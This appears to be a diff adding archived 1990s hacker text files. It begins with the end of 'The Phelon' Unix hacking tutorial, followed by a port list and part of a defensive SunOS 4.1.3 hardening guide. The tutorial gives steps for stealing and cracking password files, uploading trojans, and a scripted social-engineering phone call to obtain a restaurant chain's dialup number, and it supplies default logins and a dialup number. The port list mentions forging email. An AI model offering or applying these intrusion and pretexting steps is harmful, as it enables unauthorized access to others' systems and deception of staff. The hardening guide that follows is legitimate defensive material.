for the biggest default list around.
|
||||
|
||||
|
||||
but once you're in...
|
||||
|
||||
OK, say you managed to get your bumbling butt to a $ prompt or even
|
||||
better (and even more unlikely - heheh) a # prompt then here is what you do.
|
||||
|
||||
TO START OUT:
|
||||
|
||||
get the passwd file
|
||||
|
||||
turn on your term program's capture
|
||||
<start>
|
||||
$ypcat passwd
|
||||
<whole bunch of passwd shit should scroll down the screen>
|
||||
once it's done turn off the capture and save the buffered file. or whatever.
|
||||
if THAT didn't work, then type
|
||||
<start>
|
||||
$sz passwd
|
||||
<download starts>
|
||||
this is even more unlikely to work... but it does work surprisingly often.
|
||||
ok now assuming you have the passwd file you go get a lame cracking
|
||||
program like crack or crackerjack and run it over the passwd file with a
|
||||
zillion wordlists, and of course, data from the GECOS fields. More advanced
|
||||
hacking comes later, for now get the accts and be happy until you reach
|
||||
the next section in this file concerning this.
|
||||
|
||||
BUT WAIT A MINUTE! I never got in!
|
||||
|
||||
ok say that the system you are trying to crack is super tight and is
|
||||
harder than a sonofabitch to get into. my first advice would be to leave
|
||||
it alone. however, if not then continue to the advanced section and try
|
||||
out the techniques described there.
|
||||
|
||||
|
||||
OK here we go with more intermediate hacking..
|
||||
|
||||
ok say you want to find out all you can about a certain system. the first
|
||||
thing you should do is 'telnet <hostname> 79'.. this will telnet you to
|
||||
port 79 of the target un*x. Basically what this will do is show you who
|
||||
is logged on and a bunch of info about them. (oh, i should mention that
|
||||
a *lot* of systems have this little feature blocked..;).. but if you know the
|
||||
name of someone on the system you can still finger them remotely by using
|
||||
"finger user@host".. pretty elementary shit. OK another telnet port you
|
||||
should know about and use actively is 25. this will show you the version
|
||||
of everyone's fave prog, sendmail! heheh.. look for a good file written
|
||||
by i forget who bearing the title of sendmail.. this file has lots
|
||||
of good exploits for the beginning to intermediate unix hacker. :)
|
||||
|
||||
|
||||
**HEY! I TRIED USING A PASSWD CRACKING PROG, BUT NOTHING WORKS! THE
|
||||
GECOS FIELDS ARE JUST FILLED WITH AN "X" or "*" WHERE THE ENCRYPTED PASSWD IS
|
||||
SUPPOSED TO BE!!!
|
||||
|
||||
well calm down.. this is something called passwd shadowing, and to overcome
|
||||
it you will need either a program like unshad.c, shadowpw.c, etc etc., that
|
||||
will deshadow the passwd file so you can crack it or whatever. or you
|
||||
can write one for yourself...
|
||||
|
||||
oh yeah, i almost forgot. here are some basic commands in unix..
|
||||
|
||||
ls - lists directory. often used arguments are -al (all) and
|
||||
-alF (all + hidden.)
|
||||
sz - send zmodem
|
||||
rz - receive zmodem. up a trojan horse. ;)
|
||||
chmod - change file permissions.
|
||||
chown - change file ownership
|
||||
finger - finger a user
|
||||
fortune - your fortune. heheheh
|
||||
telnet - telnet
|
||||
gopher - gopher
|
||||
lynx - lynx (unix's shitty version of a web browser.)
|
||||
irc - irc
|
||||
setenv (BSD, SysV) change environment variables such as your
|
||||
IRCNAME, etc.
|
||||
declare -x (Linux) pretty much the same as setenv but for linux
|
||||
more < <filename> best way of reading a file (unless it's the passwd
|
||||
file in which case it doesn't show you the whole thing.)
|
||||
ftp - ftp
|
||||
lp - print
|
||||
cu - dialout
|
||||
makefile - compile a prog
|
||||
su - use it to try to hax root. <g>
|
||||
setuid - set your user id shell
|
||||
rm - delete a file
|
||||
cd - change directory
|
||||
rmdir - remove a dir
|
||||
mkdir - make a directory
|
||||
mv - move or rename a file
|
||||
vi - vi txt editor
|
||||
trn/tin/slrn - news readers
|
||||
elm - text editor
|
||||
emacs - text editor
|
||||
|
||||
oh and that other thing.. the tacobell unices.
|
||||
|
||||
TACO BELL is a funny place to hack. i mean come on.. taco bell. the
|
||||
security *always* sux! so anyways...
|
||||
1) find the store #. this is accomplished by kalling your local taco hell
|
||||
and saying:
|
||||
"I am Joe Schmoe the taco bell hoe and i need to speak to your manager."
|
||||
then when u are talking to the manager:
|
||||
"yeah, i need to know your store #"
|
||||
then they will say some shit or other and usually they will be cooperative.
|
||||
ONCE you have the store #, what you do is dial THIS #:
|
||||
*1.800.sos.taco*
|
||||
now once you dial this # u will be presented with a series of automated
|
||||
voice questions, etc, etc, bullshit yada yada so on and so forth. just keep
|
||||
pressing whatever sounds relevant (like 1, for computer stuph) until you get
|
||||
a voice. ONCE you have the voice:
|
||||
sucker: "yes, can i help you?"
|
||||
you: "yes, my name is bill clinton, and i'm the social engineer for the local
|
||||
branch of taco bell. we were having problems connecting to our computer, and
|
||||
were wondering whether what # we were supposed to dial."
|
||||
sucker: "ok, hangon a second. what is your store #?"
|
||||
<this is where you give the sucker the store # you obtained from dialing
|
||||
up your local store.>
|
||||
sucker: "ok, that's <NPA>, right? the number is XXX-XXXX"
|
||||
you: "ok, thanks a lot!"
|
||||
sucker: "is that all the information you needed?!"
|
||||
you: "yeah, turns out we were dialing the wrong number. oops. heh."
|
||||
sucker: "heheh yeah that is kind of funny."
|
||||
you: "sure is. well thanks for the information, and tell your wife she
|
||||
gives great head. bye."
|
||||
<click>
|
||||
|
||||
(for the people out there who hang on #hack, some of that stuff you
|
||||
quite obviously wouldn't, and shouldn't, really say. <g>)
|
||||
|
||||
NOW you dialup the number the sucker gave you...
|
||||
once you are connected you will see the usual taco bell bullshit.
|
||||
you can login with either:
|
||||
|
||||
tacobell/ no password
|
||||
rgm/rollout
|
||||
|
||||
and then once you're in just phuxor around or have a truckload of beans
|
||||
shipped to your enemy's house or whatever you feel like doing.
|
||||
|
||||
for all the ppl in 612 here is the taco bell dialup for that ac:
|
||||
888-5411
|
||||
--------------------------
|
||||
|
||||
well anyway that's about it .. this was a lame text phile written in
|
||||
the middle of a class in skool (no joking i am supposed to be typing up
|
||||
some shit about the civil war. heheh) so catch me on irc (i'll probably
|
||||
be banned from all the channels..heh) look for phelon and remember...
|
||||
|
||||
"paranoia is a state of perfect awareness"
|
||||
|
||||
check for these other fine files written by the phelon
|
||||
PHELON2.UNX (intermediate unix hacking), PHELON3.UNX (advanced unix hacking),
|
||||
PHELON.VMS, PHELON.CBI, PHELON.DEF (system75/definity), PHELON.PWS
|
||||
|
||||
|
||||
|
||||
Error 23 - 612-869-2119 - sysop Bandon - looks like a normal
|
||||
gamer board, all the kewl stuff is hidden deep in the heart
|
||||
of the hard drive.. prove yourself for access to the secret areas!
|
||||
|
||||
|
||||
phuck all warez d00dz and k)dez kidz and fedz and the lamers on #hack.
|
||||
|
||||
thanks and hellos to deadfall, unslider, and bandon - these guys are truly
|
||||
elite and have helped me out a ton.
|
||||
also hello to mara and spyder.. <g>, and everyone else who i
|
||||
would have remembered if i really gave a fuck about them one way or
|
||||
another...hehehe j/k, and that's REALLY the end of this fine text, cuz
|
||||
the bell is ringing. adios...
|
||||
|
||||
- The Phelon
|
||||
<hack>
|
||||
<Sinful Seven>
|
50
textfiles.com/hacking/UNIX/ports.txt
Normal file
50
textfiles.com/hacking/UNIX/ports.txt
Normal file
@@ -0,0 +1,50 @@
|
||||
Port number Service Why it's phun!
|
||||
|
||||
7 echo Whatever you type in, the host repeats back to you
|
||||
|
||||
9 discard Dev/null -- how fast can you figure out this one?
|
||||
|
||||
11 systat Lots of info on users
|
||||
|
||||
13 daytime Time and date at computer's location
|
||||
|
||||
15 netstat Tremendous info on networks
|
||||
|
||||
19 chargen Pours out a stream of ASCII characters. Use ^C to stop.
|
||||
|
||||
21 ftp Transfers files
|
||||
|
||||
23 telnet Where you log in.
|
||||
|
||||
25 smpt Forge email from Bill.Gates@Microsoft.org.
|
||||
|
||||
37 time Time
|
||||
|
||||
39 rlp Resource location
|
||||
|
||||
43 whois Info on hosts and networks
|
||||
|
||||
53 domain Nameserver
|
||||
|
||||
70 gopher Out-of-date info hunter
|
||||
|
||||
79 finger Lots of info on users
|
||||
|
||||
80 http Web server
|
||||
|
||||
110 pop Incoming email
|
||||
|
||||
119 nntp Usenet news groups -- forge posts, cancels
|
||||
|
||||
443 shttp Another web server
|
||||
|
||||
512 biff Mail notification
|
||||
|
||||
513 rlogin Remote login
|
||||
who Remote who and uptime
|
||||
|
||||
514 shell Remote command, no password used!
|
||||
syslog Remote system logging
|
||||
|
||||
520 route Routing information protocol
|
||||
|
8710
textfiles.com/hacking/UNIX/secdoc.hac
Normal file
8710
textfiles.com/hacking/UNIX/secdoc.hac
Normal file
File diff suppressed because it is too large
Load Diff
691
textfiles.com/hacking/UNIX/securesu.txt
Normal file
691
textfiles.com/hacking/UNIX/securesu.txt
Normal file
@@ -0,0 +1,691 @@
|
||||
My appologies for taking so long with this it became much larger than
|
||||
I'd though it would.
|
||||
Please Note:
|
||||
1) My intent in this was to limit my audience enough so that
|
||||
this document would not become too large and cumbersome.
|
||||
Please note the intended audience.
|
||||
2) This document is sure to undergo revision, and I hesitate to
|
||||
ever call any revision a final draft.
|
||||
3) Please forgive any typo's and gramatical errors. It's late
|
||||
and I wanted to get this out on a day other than Friday.
|
||||
Send me notes of typos and spelling directly don't bother
|
||||
the rest of the net with such.
|
||||
4) I'll try to post when I'm able to put this list up on our
|
||||
ftp server ftp.Hawaii.Edu:/pub/security.
|
||||
|
||||
Again many thanks to all those who provided feedback.
|
||||
|
||||
I'm not sure where the other lists are but here's what I've got,
|
||||
please let me know if it's of help:
|
||||
|
||||
----------------------------------------------------------------------
|
||||
|
||||
|
||||
How to improve security on a newly installed SunOS 4.1.3 system.
|
||||
|
||||
Version 1.0 Thomas M. Kroeger - July 94
|
||||
tmk@hawaii.edu
|
||||
|
||||
Copyright -- Thomas M. Kroeger - July 94
|
||||
Please feel free to redistribute or include this list or parts of it
|
||||
wherever you desire, but, please include appropriate citation.
|
||||
|
||||
Goal -
|
||||
Attempt to provide a list of some of the more basic steps that
|
||||
can be done to improve security on a newly installed SunOS 4.1.3 system.
|
||||
This is by no means an all inclusive list of actions, just a list of
|
||||
some simple and more common measures.
|
||||
|
||||
Intended Audience -
|
||||
Anyone responsible for the system administration duties of a machine
|
||||
running SunOS 4.1.3. These recommendations applicable to a stand-alone *
|
||||
workstation. It is assumed that the reader has some familiarity with basic
|
||||
system administration (you should be able to do a basic system installation
|
||||
by yourself, install patches, and use an editor).
|
||||
|
||||
[* which may be connected to a larger network?]
|
||||
|
||||
NOTE: This list limits it's coverage to measures that can
|
||||
be done for a stand-alone workstation addition to the steps listed here
|
||||
there are many measures that can be taken to improve the security of
|
||||
an enviornment, measures such as; filtering traffic to port 2049/udp
|
||||
at the routers will prevent NFS calls from outside your domain.
|
||||
|
||||
|
||||
Disclaimer ---
|
||||
These recommendations come with no guarantees of anything! Support is only
|
||||
offered within the University of Hawai'i community.
|
||||
|
||||
The truly paranoid may wish to these implement these recommendations while in
|
||||
single user mode as an extra measure of security to avoid possible subversive
|
||||
shenannigans by a wily cracker.
|
||||
|
||||
|
||||
To Do on a system Just installed
|
||||
------------------------------
|
||||
|
||||
Patches --
|
||||
+ install the following patches
|
||||
|
||||
4.1.3 Security listing
|
||||
100103 SunOS 4.1;4.1.1;4.1.2;4.1.3: script to change file permissions
|
||||
100173 SunOS 4.1.1/4.1.2/4.1.3 : NFS Jumbo Patch
|
||||
* 100224 SunOS 4.1.1,4.1.2,4.1.3: /bin/mail jumbo patch
|
||||
100257 SunOS 4.1.1;4.1.2;4.1.3: jumbo patch for ld.so, ldd, and ldconf
|
||||
100272 SunOS 4.1.3: Security update for in.comsat.
|
||||
100296 SunOS 4.1.1, 4.1.2, 4.1.3: netgroup exports to world
|
||||
100305 SunOS 4.1.1, 4.1.2, 4.1.3: lpr Jumbo Patch
|
||||
100372 SunOS 4.1.1;4.1.2;4.1.3: tfs and c2 do not work together
|
||||
* 100377 SunOS 4.1.1, 4.1.2, 4.1.3: sendmail jumbo patch
|
||||
* 100383 SunOS 4.0.3;4.1;4.1.1;4.1.2;4.1.3: rdist security and hard link
|
||||
100448 OpenWindows 3.0: loadmodule is a security hole.
|
||||
100452 OpenWindows 3.0: XView 3.0 Jumbo Patch
|
||||
100478 OpenWindows 3.0: xlock crashes leaving system open
|
||||
* 100482 SunOS 4.1;4.1.1;4.1.2;4.1.3: ypserv and ypxfrd fix, plus DNS fi
|
||||
100507 SunOS 4.1.1, 4.1.2, 4.1.3: tmpfs jumbo patch
|
||||
100513 SunOS 4.1.1;4.1.2;4.1.3: Jumbo tty patch
|
||||
100564 SunOS 4.1.2, 4.1.3: C2 Jumbo patch
|
||||
* 100593 SunOS 4.1.3: Security update for dump.
|
||||
100623 SunOS 4.1.2;4.1.3: UFS jumbo patch
|
||||
100630 SunOS 4.1.1, 4.1.2, 4.1.3: SECURITY: methods to exploit login/su
|
||||
100631 SunOS 4.1.x: env variables can be used to exploit login(US only)
|
||||
* 100632 SunSHIELD 1.0: ARM jumbo patch release
|
||||
100890 SunOS 4.1.3: domestic libc jumbo patch
|
||||
100891 SunOS 4.1.3: international libc jumbo patch
|
||||
100909 SunOS 4.1.1;4.1.2;4.1.3: Security update for syslogd.
|
||||
101072 SunOS 4.1.1;4.1.2;4.1.3: Non-related data filled the last block
|
||||
101080 SunOS 4.1.1 4.1.2 4.1.3: security problem with expreserve
|
||||
101200 SunOS 4.1.1, 4.1.2, 4.1.3: Breach of security using modload
|
||||
101206 ODS 1.0; NFS/fsirand security fix.
|
||||
* 101480 SunOS 4.1.1;4.1.2;4.1.3: Security update for in.talkd.
|
||||
* 101482 SunOS 4.1.3, 4.1.2, 4.1.1: Security update for write.
|
||||
101640 SunOS 4.1.3: in.ftpd logs password info when -d option is used.
|
||||
101710 ONLINE DISKSUITE (ODS) 1.0: Security update for dump.
|
||||
|
||||
4.1.3 U1 security listing
|
||||
101434 SunOS 4.1.3_U1: lpr Jumbo Patch
|
||||
* 101435 SunOS 4.1.3_U1: ypserv fix
|
||||
* 101436 SunOS 4.1.3_U1: bin/mail jumbo patch
|
||||
101440 SunOS 4.1.3_U1: security problem: methods to exploit login/su
|
||||
101558 SunOS 4.1.3_U1: international libc jumbo patch
|
||||
* 101579 SunOS 4.1.3_U1: Security problem with expreserve for Solaris 1.
|
||||
101587 SunOS 4.1.3_U1: security patch for mfree and icmp redirect
|
||||
101590 ONLINE DISKSUITE (ODS) 1.0, NFS/fsirand security fix
|
||||
101621 SunOS 4.1.3_U1: Jumbo tty patch
|
||||
* 101665 SunOS 4.1.3_U1: sendmail jumbo patch
|
||||
101679 SunOS 4.1.3_U1: Breach of security using modload
|
||||
101759 SunOS 4.1.3_U1: domestic libc jumbo patch
|
||||
|
||||
* - Note: some patches may not be required if you are disabling this
|
||||
feature. If this is the case, ensure that all relevant files have had
|
||||
their mode changed to remove the SUID bit -- chmod u-s <file>.
|
||||
|
||||
Note 2: Some patches may not necessarily apply based on packages
|
||||
installed (US Encryption...) or your configuration. Please carefully
|
||||
check the README for each patch.
|
||||
Patches are available via anonymous ftp from
|
||||
ftp.uu.net:/system/sun/sun-dist
|
||||
|
||||
Network level changes -------
|
||||
|
||||
+ Disable source routing
|
||||
Why:
|
||||
Source routing enables the originating host to dictate the route the
|
||||
packet will take. This can be used to spoof a system into believing
|
||||
that the packets are coming from a trusted source.
|
||||
How:
|
||||
Install patch found in Ref. 19
|
||||
More info: Ref. 2 [Cheswick 94] Chap 2, Ref. 19
|
||||
|
||||
+ Comment out all unnecessary services in /etc/inetd.conf
|
||||
Why:
|
||||
RPC services can be used to gain access as well as information about
|
||||
a system. These are very site specific adjustments and will have to
|
||||
be tailored to your needs. Additionally, TCP wrappers [Ref. 4] can be
|
||||
used to improve loging, prevent IP spoofing (one host pretending to be
|
||||
another to gain access) and limit access to a service as well as
|
||||
totally removing it.
|
||||
How:
|
||||
Edit file /etc/inetd.conf and put a # in front of services that
|
||||
are not needed.
|
||||
|
||||
Services possibly needed, but probably desired:
|
||||
ftp - possible needed for file transfer, however if all you
|
||||
want is outgoing ftp then this is can be commented out.
|
||||
telnet - obvious (recommend restricting with TCP wrappers Ref. 4)
|
||||
finger - Possibly but better to get a modified version that doesn't
|
||||
give up that much information (To be honest I have no
|
||||
experience with any of these I'd recommend checking into
|
||||
some of the ones on ftp.uu.net).
|
||||
talk - nice to have but how much will you miss it?
|
||||
|
||||
Services which are probably unnecessary - see man pages for details
|
||||
name - for name services (man tnamed)
|
||||
comsat - for mail - not necessary.
|
||||
login - for rlogin - please see discussion under ruserok().
|
||||
uucp - if you aren't sure if your using this then you are not.
|
||||
exec - services for rexecd - do without.
|
||||
|
||||
Services recommended against - FIND A WAY TO LIVE WITHOUT.
|
||||
shell - for rsh -- major source for security problems
|
||||
tftp - only needed for support of an X terminal or diskless
|
||||
clients, doubtfully needed on a desktop machine.
|
||||
More info: Ref. 4 [Venema 92]., Ref. 15
|
||||
|
||||
|
||||
+ Enable NFS port monitoring (This is of value only if you are exporting
|
||||
filesystems over NFS)
|
||||
Why:
|
||||
Port monitoring ensures that calls to NFS to mount a file system come
|
||||
from a port < 1024 (in other words, a port that requires root
|
||||
access to use).
|
||||
How:
|
||||
The default /etc/rc.local sets up port monitoring only if the file
|
||||
/etc/security/passwd.adjunct exists. If you will be implementing
|
||||
shadowing then you can skip over this step. If you will not be
|
||||
implementing shadowing and you will be exporting files then you should
|
||||
modify /etc/rc.local to do the following 2 lines: (regardless of
|
||||
whether the passwd.adjunct file exists):
|
||||
echo "nfs_portmon/W1" | adb -w /vmunix /dev/kmem > /dev/null 2>&1
|
||||
rpc.mountd
|
||||
|
||||
Shadowing is covered under the section Changes to ID Management.
|
||||
|
||||
Note: one possible side effect: non-sun nfs client might not
|
||||
be able to mount exported files.
|
||||
More info: Ref. 3 [Stern 92] pg 177 & mountd(8C)
|
||||
|
||||
+ Ensure that ypbind is started with the -s option.
|
||||
Why:
|
||||
Users could easily start thier own ypbind services and activate a
|
||||
phony NIS database giving them access as any user.
|
||||
How:
|
||||
As with port monitoring the default /etc/rc.local sets up ypbind in the
|
||||
secure mode (-s option) only if the file /etc/security/passwd.adjunct
|
||||
exists. If you will be implementing shadowing then you can skip over
|
||||
this step, overwise you should modify /etc/rc.local to start ypbind
|
||||
with the -s option regardless of whether the passwd.adjunct file exists.
|
||||
More info: ypbind(8)
|
||||
|
||||
+ Disable IP forwarding -
|
||||
Why:
|
||||
I'm not sure if this can be abused on a machine with only one interface
|
||||
but I'd rather err of the side of safety. It could be used to spoof
|
||||
an IP address.
|
||||
How:
|
||||
Install the following line in the kernel configuration file:
|
||||
options "IPFORWARDING=-1"
|
||||
For info on how to custom configure a kernel, see the file
|
||||
/usr/sys/`arch`/conf/README.
|
||||
|
||||
|
||||
Kernel changes -------
|
||||
|
||||
+ modify ruserok() in /usr/lib/libc.so.1.8 (9 on 4.1.3 U1) to disable:
|
||||
- root .rhosts authentication, wildcards in .rhosts, or
|
||||
.rhosts entirely depending on the level of security you want.
|
||||
Why:
|
||||
ruserok() is a library routine that does the checking of both the
|
||||
.rhosts and /etc/hosts.equiv files for all the r commands.
|
||||
a) ruserok() uses the source IP address in the rpc request for
|
||||
authentication. There are no guarantees that this address is correct.
|
||||
This address can easily be spoofed, yielding illegitimate access to
|
||||
a system.
|
||||
b) Crackers will often insert +'s into users' .rhosts file
|
||||
to allow them to gain access at a latter date. Most users
|
||||
don't look at their .rhosts file too often.
|
||||
Note: While using .rhosts prevents crackers from sniffing your users'
|
||||
passwords, it also make them vulnerable to IP spoofing (claiming
|
||||
to be a host that you're not) it becomes a matter of preference
|
||||
what level of protection you'd choose here.
|
||||
|
||||
How:
|
||||
To modify the source code requires a source code license.
|
||||
At Univ of Hawaii, modified version of libc.so.1.8 should be
|
||||
available though the systems group.
|
||||
|
||||
For those who wish to create thier own modified version of ruserok()
|
||||
please see the section at the end that describes some of the details
|
||||
for creating a custom libc.so.
|
||||
|
||||
Additionally the logdaemon package Ref. 15 has a modified version
|
||||
of libc.so that helps with this. This site also has BSD sources
|
||||
for the ruserok() routine.
|
||||
|
||||
Finally TCP wrappers can also be used to restrict access to each
|
||||
individual r command. Ref. 4
|
||||
|
||||
More info: ruserok(3), hosts.equiv(5),
|
||||
source code file /lib/libc/net/rcmd.c, Ref. 4, Ref. 15
|
||||
|
||||
|
||||
|
||||
Filesystem change----------
|
||||
|
||||
+ create the file /etc/ftpusers
|
||||
Why:
|
||||
This file is a list of users that will not be allowed to access the
|
||||
system via ftp. This prevents Joe Cracker from using ftp to
|
||||
modify a file (such as /etc/passwd) if he is able to determine your
|
||||
root password.
|
||||
How:
|
||||
create the file /etc/ftpuser with the following entries (one per line):
|
||||
root, nobody, daemon, sys, bin, uucp, news, ingres, AUpwdauthd,
|
||||
AUyppasswdd, sysdiag, sundiag, and any other ID's that exist that
|
||||
you don't want to allow ftp access.
|
||||
|
||||
More info: man ftpusers(5)
|
||||
|
||||
+ Remove the + in /etc/hosts.equiv
|
||||
Why:
|
||||
Well..... Everyone gains access with this.
|
||||
Note: This file should not have any comment lines.
|
||||
More info: hosts.equiv(5)
|
||||
|
||||
+ edit /etc/exports remove all entries you don't want exported.
|
||||
- ensure whatever entries remain have restricted access
|
||||
Why:
|
||||
NFS leaves the normal file system protection up to the client
|
||||
instead of the server. Acracker with root access on a client can
|
||||
work around many of these protections. As a result filesystems
|
||||
exported to the world are particularly vulnerable.
|
||||
How:
|
||||
Edit the file /etc/exports
|
||||
1) Only export what you need to export. If you aren't certain that
|
||||
it needs to be exported, then it probably doesn't.
|
||||
2) Never export to the world. Use a -access=host.foo.bar.edu option.
|
||||
3) When ever possible export the file systems read-only. option ro
|
||||
You can use showmount -e to see what you currently have exported.
|
||||
|
||||
More info: exports(5), exportfs(8), showmount(8)
|
||||
|
||||
+ Install random number inode generator on filesystems fsirand
|
||||
Why:
|
||||
Predicable root handles assists crackers in abusing NFS. After
|
||||
installing the patch for fsirand you'll need to run fsirand for
|
||||
all your filesystems.
|
||||
How:
|
||||
Ensure the filesystem is unmounted and run fsirand.
|
||||
More info: fsirand(8), SunOS patch 100173 (NFS Jumbo)
|
||||
|
||||
+ nosuid in mounts
|
||||
Why:
|
||||
Use the nosuid option when adding entries to /etc/fstab to mount a
|
||||
filesystem exported by another host. Anyone gaining access to the
|
||||
other host can create or modify an existing program which could
|
||||
compromise your system. Note: this doesn't work on tmpfs filesystems.
|
||||
How:
|
||||
Include the nosuid when you add an entry to /etc/fstab to import
|
||||
a filesystem.
|
||||
More info: Ref. 3 [Stern 92] pg. 175 fstab(5)
|
||||
|
||||
+ Edit /etc/ttytab to remove the secure option from all entries.
|
||||
Why:
|
||||
The secure entry in /etc/ttytab allows logins directly to root on that
|
||||
tty. If you feel that your machine is not in a physically secure
|
||||
location, you may choose to remove the secure option from the
|
||||
console as well.
|
||||
More info: ttytab(5)
|
||||
|
||||
+ Set eeprom secure field to command or full -
|
||||
Why:
|
||||
If you feel that your machine is not in a secure location, then
|
||||
the eeprom field secure can be used to prevent unauthorized root
|
||||
access by crashing your machine. Note: with the full option the
|
||||
system will not auto-reboot and will wait for the root password to
|
||||
be entered.
|
||||
More info: eeprom(8)
|
||||
|
||||
+ chmod 600 /dev/eeprom -
|
||||
Why:
|
||||
Prevents users from reading the eeprom passwd.
|
||||
More info: eeprom(8)
|
||||
|
||||
+ Remove openprom support if you do not intend to use the eeprom
|
||||
secure field.
|
||||
Why:
|
||||
A cracker who gains root access could install an eeprom password and
|
||||
make your life a bit harder.
|
||||
How:
|
||||
Remove the device driver from the kernel by commenting out
|
||||
the following:
|
||||
|
||||
# The "open EEPROM" pseudo-device is required to support the
|
||||
# eeprom command.
|
||||
#
|
||||
pseudo-device openeepr # onboard configuration NVRAM
|
||||
More info: eeprom(8)
|
||||
|
||||
+ Uncomment security options in frame buffer table file /etc/fbtab
|
||||
Why:
|
||||
Without these entries ownership of console devices will not be properly
|
||||
set.
|
||||
More info: fbtab(5)
|
||||
|
||||
+ add umask 022 to /etc/rc & /.login
|
||||
Why:
|
||||
Prevent key files created during startup and root operation from
|
||||
being created world writeable. Note you may want to set umask in
|
||||
/.login to 077 instead of 022
|
||||
More info: umask(1), rc(8)
|
||||
|
||||
+ chmod go-w /etc/* ; chmod g+w /etc/dumpdates
|
||||
Why:
|
||||
None of these file in /etc should require write access
|
||||
by world except for dumpdate, which requires group write access.
|
||||
More info: chmod(1), aliases(5), state(5), utmp(5V), remote(5), rmtab(5)
|
||||
|
||||
+ edit /etc/rc.local to comment change part that chmod's 666 motd
|
||||
Why:
|
||||
/etc/motd is the normal system's message of the day; it won't
|
||||
allow people to gain root access, but it could be a nuisance if they
|
||||
can change this anonymously. Additionally it is important to
|
||||
ensure that the line "rm -f /tmp/t1" is at the begining of this part.
|
||||
|
||||
+ Chmod u-s the following files unless you specifically use them:
|
||||
Why:
|
||||
Changing the modes for those file which you will not be using
|
||||
helps prevent would be crackers from exploiting unknown security
|
||||
flaws in these files which could be used to compromise your system.
|
||||
|
||||
/usr/bin/cu /usr/bin/tip /usr/bin/fusage
|
||||
/usr/bin/nsquery /usr/bin/uucp /usr/bin/uuname
|
||||
/usr/bin/uustat /usr/bin/uux /usr/ucb/rcp
|
||||
/usr/ucb/rdist /usr/ucb/rlogin /usr/lib/uucp/uusched
|
||||
/usr/lib/uucp/uuxqt /usr/ucb/rsh /usr/lib/uucp/uucico
|
||||
/usr/games/hack /usr/games/chesstool /usr/games/fortune
|
||||
/usr/lib/exrecover /usr/games/robots /usr/lib/uucp/remote.unknown
|
||||
/usr/games/hack /usr/games/snake /usr/bin/sunview1/sv_release
|
||||
/usr/etc/rfsetup
|
||||
/usr/bin/allocate - used with C2 security.
|
||||
/usr/ucb/quota - used with disk quotas
|
||||
/usr/lib/expreserve - used to recover edit session that died.
|
||||
|
||||
Following may only be needed to be run by user root; as such, they would
|
||||
not need to be SUID root:
|
||||
/usr/etc/shutdown /usr/lib/acct/accton
|
||||
|
||||
More info: lots of man pages ;-)
|
||||
|
||||
+ chmod g-s the following file unless you specifically use them:
|
||||
Why:
|
||||
Changing the modes for those file which you will not be using helps
|
||||
prevent would be crackers from exploiting unknown security flaws
|
||||
in these files which could be used to compromise your system.
|
||||
|
||||
/usr/bin/wall /usr/etc/trpt /usr/bin/sunview1/toolplaces
|
||||
/usr/bin/iostat /usr/bin/ipcs /usr/ucb/vmstat
|
||||
/usr/ucb/netstat /usr/etc/arp /usr/etc/dmesg
|
||||
/usr/etc/dkinfo /usr/etc/chill /usr/etc/dumpfs
|
||||
/usr/etc/devinfo /usr/etc/nfsstat /usr/old/perfmon
|
||||
/openwin/bin/xload /usr/kvm/pstat /usr/kvm/crash
|
||||
/usr/kvm/getcons /usr/etc/kgmon /usr/etc/trpt
|
||||
|
||||
More info: lots of man pages ;-)
|
||||
|
||||
+ edit syslog.conf -- uncomment auth & mail lines
|
||||
Why:
|
||||
The enables improved loging of logins and su's be prepared for lots of
|
||||
data.
|
||||
More info: syslog.conf(5)
|
||||
|
||||
+ chmod 640 /vmunix; chgrp kmem /vmunix ;
|
||||
Why:
|
||||
Prevent crackers from finding out more about your kernel configuration.
|
||||
|
||||
|
||||
Changes to ID management ------
|
||||
|
||||
+ Disable SUID passwd (if using NIS) or -F option in /bin/passwd
|
||||
Why:
|
||||
Here two options exist:
|
||||
1) you are using NIS for your user database; so you don't need
|
||||
/bin/passwd (and the two hard links to it /bin/chfn & /bin/chsh)
|
||||
to be SUID root.
|
||||
2) You will have local entries in your /etc/passwd that you would
|
||||
like to be able to change thier own passwd. Then please note that
|
||||
/bin/passwd has a race condition that can be exploited to write to
|
||||
files as root, allowing a cracker to gain root access.
|
||||
|
||||
In either case yppasswd (and ypchfn & ypchsh) does not need to
|
||||
be SUID root.
|
||||
How:
|
||||
In all cases - cd /bin; chmod u-s yppasswd ypchfn ypchsh
|
||||
Option 1 - cd /bin; chmod u-s passwd chfn chsh
|
||||
Option 2a - Replace passwd with a proactive (check for bad passwds)
|
||||
passwd program. Ref 7.
|
||||
Option 2b - Do a binary edit of passwd (sun's code) as shown below:
|
||||
# cd /bin
|
||||
# cp passwd passwd.old; chmod 700 passwd.old
|
||||
# adb -w - passwd
|
||||
not core file = passwd
|
||||
/l 'F:'
|
||||
0x68de This address is required in the following step:
|
||||
0x68de/w 0
|
||||
0x68de: 0x463a = 0x0
|
||||
<CTRL-D>
|
||||
# chmod 4711 /bin/passwd
|
||||
Note: The following files should all contain the same code, and
|
||||
be SUID root (unless chmod u-s was done above). If you intend
|
||||
to use any of these, ensure they are a link to the modified
|
||||
file /bin/passwd: yppasswd, ypchfn, ypchsh, chfn, chsh.
|
||||
More info: Ref. 6 [8lgm]-Advisory-7.UNIX.passwd.11-May-1994.NEWFIX
|
||||
|
||||
+ remove ID sync:::
|
||||
Why:
|
||||
This ID is created to enable the admin to sync the file system before a
|
||||
system crash. It defaults without and password, and can be abused to
|
||||
gain access to the system. The simplest solution is to live without
|
||||
this feature and remove this ID.
|
||||
More info: passwd(5)
|
||||
|
||||
+ Implement shadowing
|
||||
Why:
|
||||
To restrict access to all users' encrypted passwords. Even though
|
||||
passwords are encrypted, Crack (a publicly available program) can
|
||||
be used to effectively guess users' passwords.
|
||||
How:
|
||||
This can be done two different ways:
|
||||
1. by implementing Sun's C2 security package, which
|
||||
provides additional auditing. I've found that this auditing can be
|
||||
troublesome to maintain and I didn't have need for the extensive data.
|
||||
2. the second option is to implement shadowing but not C2, this
|
||||
procedure is fully explained in detail in Ref. 5. In short:
|
||||
- ensure patch 100564 is installed, (note this also implements
|
||||
securenets for NIS)
|
||||
- split /etc/passwd into /etc/passwd & /etc/security/passwd.adjunct
|
||||
- split /etc/group into /etc/group & /etc/security/group.adjunct
|
||||
- add required Audit users (even if not implementing auditing)
|
||||
- comment out the part of rc.local that starts audit
|
||||
- reboot.
|
||||
The existence of the file /etc/security/passwd.adjunct has several
|
||||
other effects in rc.local that improve system security; (ypbind -s
|
||||
and rpc.mountd without -n).
|
||||
More info: Ref 5
|
||||
|
||||
+ ensure all ID's have passwd
|
||||
Why:
|
||||
